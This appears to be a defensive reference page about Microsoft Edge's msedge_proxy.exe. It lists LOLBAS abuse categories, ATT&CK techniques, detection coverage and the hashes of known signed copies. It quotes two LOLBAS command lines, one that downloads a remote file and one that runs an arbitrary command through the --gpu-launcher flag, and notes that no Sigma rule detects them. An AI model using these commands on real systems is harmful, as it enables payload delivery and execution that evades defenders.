Identifier / Programs / Windows
msedge_proxy.exe
Microsoft Edge file version info (xCyclopedia)
LOLBAS Download, Execute 2 Sigma rules name it 3 ATT&CK techniques 2 documented commands 2 known copies with hashes
How msedge_proxy.exe is abused
Download T1105 Ingress Tool Transfer
files
Execute T1218.015 System Binary Proxy Execution: Electron Applications
files
--disable-gpu-sandbox--gpu-launcherEach abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for msedge_proxy.exe.
2 documented commands
Download T1105 Ingress Tool Transfer User privileges
msedge_proxy will download malicious file.
C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe {REMOTEURL:.zip}IdentifyExecute T1218.015 System Binary Proxy Execution: Electron Applications User privileges
msedge_proxy.exe will execute file in the background
C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe --disable-gpu-sandbox --gpu-launcher="{CMD} &&"IdentifyNone of the 2 commands the identifier reads trips a Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for msedge_proxy.exe, by Mert Daş, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for msedge_proxy.exe. The identifier reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.
What detects it
Is it the real msedge_proxy.exe?
C:\Program Files (x86)\Microsoft\Edge\Application\2 known copies
95.0.1020.40 · C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe · signed by Microsoft Corporation
9b584d4fcc0e95b27926734db566ebd65135ea09e6d2a7e54a06506375524c0e85.0.564.68 · C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe · signed by Microsoft Corporation
9aa7a7a1aef81536807044c829153e57501c4052234b4d8c243d85f7b08c2907From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.